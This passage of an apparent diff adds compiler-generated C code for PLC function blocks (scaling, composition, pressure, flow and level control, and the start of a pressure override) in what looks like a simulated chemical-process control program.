__SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + 